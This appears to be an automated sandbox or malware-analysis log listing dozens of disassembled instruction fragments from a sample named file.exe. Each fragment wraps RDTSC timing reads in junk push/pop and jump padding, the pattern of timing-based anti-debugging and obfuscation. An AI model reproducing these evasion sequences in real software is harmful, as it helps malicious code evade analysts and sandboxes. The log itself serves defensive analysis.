Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95669D second address: 9566C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F87h 0x00000007 jmp 00007F62C0B58F7Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9566C9 second address: 9566D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9566D3 second address: 9566D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95ABFF second address: 95AC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AC09 second address: 95AC0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AC0F second address: 95AC15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95AEDD second address: 95AEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CCFEC second address: 8CCFF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F706 second address: 95F711 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F711 second address: 95F716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F716 second address: 95F71B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FA56 second address: 95FA72 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F62C0F46582h 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FE20 second address: 95FE24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90973B second address: 90978C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jbe 00007F62C0F46576h 0x0000000b jmp 00007F62C0F4657Fh 0x00000010 popad 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 jmp 00007F62C0F4657Ah 0x0000001a mov edi, dword ptr [ebp+122D1FD8h] 0x00000020 mov ebx, dword ptr [ebp+1246E791h] 0x00000026 adc dx, DA1Ch 0x0000002b add eax, ebx 0x0000002d mov dx, 8F9Ah 0x00000031 push eax 0x00000032 pushad 0x00000033 jns 00007F62C0F4657Ch 0x00000039 push esi 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90978C second address: 9097BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov cx, 4D8Eh 0x0000000d push 00000004h 0x0000000f mov dword ptr [ebp+122D17FFh], ecx 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F62C0B58F88h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9097BC second address: 9097CE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F62C0F46578h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FFA5 second address: 95FFAA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FFAA second address: 95FFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95FFB5 second address: 95FFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9600F5 second address: 960110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jng 00007F62C0F4657Ch 0x0000000b jp 00007F62C0F46576h 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007F62C0F46576h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960A82 second address: 960A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 960A86 second address: 960AA9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F62C0F46576h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F62C0F4657Ch 0x00000014 jg 00007F62C0F46578h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963E5D second address: 963E63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963FB9 second address: 963FEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F62C0F4657Ah 0x0000000d jns 00007F62C0F4657Eh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F62C0F4657Fh 0x0000001b push edi 0x0000001c push edi 0x0000001d pop edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963FEF second address: 964003 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F62C0B58F78h 0x00000008 jc 00007F62C0B58F7Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964131 second address: 964137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964476 second address: 96447A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964722 second address: 964735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F62C0F46576h 0x0000000d jc 00007F62C0F46576h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964735 second address: 964739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9662AA second address: 9662B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9662B0 second address: 9662B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9662B9 second address: 9662BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9662BD second address: 9662C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C865 second address: 96C86A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C86A second address: 96C877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F62C0B58F76h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C9BA second address: 96C9D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46582h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CB68 second address: 96CB6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CDFD second address: 96CE03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CE03 second address: 96CE07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D6A9 second address: 96D6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62C0F46582h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D6BF second address: 96D6DD instructions: 0x00000000 rdtsc 0x00000002 jns 00007F62C0B58F76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F62C0B58F82h 0x00000012 jc 00007F62C0B58F76h 0x00000018 jno 00007F62C0B58F76h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E4F8 second address: 96E508 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F62C0F46576h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E508 second address: 96E523 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F87h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E523 second address: 96E529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E529 second address: 96E530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E530 second address: 96E556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F62C0F46583h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F62C0F4657Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E556 second address: 96E56C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F62C0B58F80h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E56C second address: 96E576 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62C0F46576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 972767 second address: 97276B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97276B second address: 972780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F62C0F46578h 0x0000000c pop eax 0x0000000d push esi 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9718AB second address: 9718B4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971A2C second address: 971A3C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F62C0F4657Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971A3C second address: 971A79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F7Bh 0x00000007 jmp 00007F62C0B58F83h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F62C0B58F85h 0x00000014 push ebx 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971A79 second address: 971A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F62C0F46576h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971D46 second address: 971D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971D4A second address: 971D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971D50 second address: 971D5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971D5B second address: 971D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971D67 second address: 971D88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F62C0B58F76h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971D88 second address: 971D94 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971D94 second address: 971D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 972222 second address: 972244 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46586h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 972244 second address: 97224E instructions: 0x00000000 rdtsc 0x00000002 je 00007F62C0B58F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97716D second address: 977171 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97EC3E second address: 97EC48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F62C0B58F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97EC48 second address: 97EC68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F62C0F4657Ch 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F62C0F4657Ah 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97EC68 second address: 97EC79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F62C0B58F7Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97EC79 second address: 97ECD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46582h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F62C0F46589h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F62C0F4657Fh 0x00000019 jmp 00007F62C0F46586h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97ECD3 second address: 97ECED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F62C0B58F84h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C2FB7 second address: 8C2FC7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62C0F46578h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D373 second address: 97D383 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F62C0B58F76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D383 second address: 97D389 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D4C5 second address: 97D4C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D625 second address: 97D62F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F62C0F46576h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D62F second address: 97D683 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop esi 0x0000000f jng 00007F62C0B58F7Ah 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c jno 00007F62C0B58F76h 0x00000022 jmp 00007F62C0B58F86h 0x00000027 jnl 00007F62C0B58F76h 0x0000002d popad 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D683 second address: 97D698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jne 00007F62C0F46576h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F62C0F46576h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D698 second address: 97D6A5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F62C0B58F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97DAED second address: 97DAF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985DA0 second address: 985DA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985DA5 second address: 985DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62C0F46582h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c jp 00007F62C0F4657Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985EE6 second address: 985EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985EEA second address: 985EEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9886B6 second address: 9886BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CEB4E second address: 8CEB52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CEB52 second address: 8CEB71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F89h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CEB71 second address: 8CEB85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F62C0F46576h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CEB85 second address: 8CEB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99281D second address: 992839 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46585h 0x00000007 push ecx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99298C second address: 992994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992994 second address: 9929B2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62C0F46576h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jne 00007F62C0F46576h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9929B2 second address: 9929DD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F62C0B58F76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F62C0B58F8Fh 0x00000012 jmp 00007F62C0B58F89h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 996055 second address: 996069 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F62C0F4657Eh 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007F62C0F46576h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0D5C second address: 9A0D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7E90 second address: 9A7E94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7C70 second address: 9A7C74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7C74 second address: 9A7C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F62C0F46576h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jbe 00007F62C0F46576h 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007F62C0F4657Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7C9C second address: 9A7CA2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
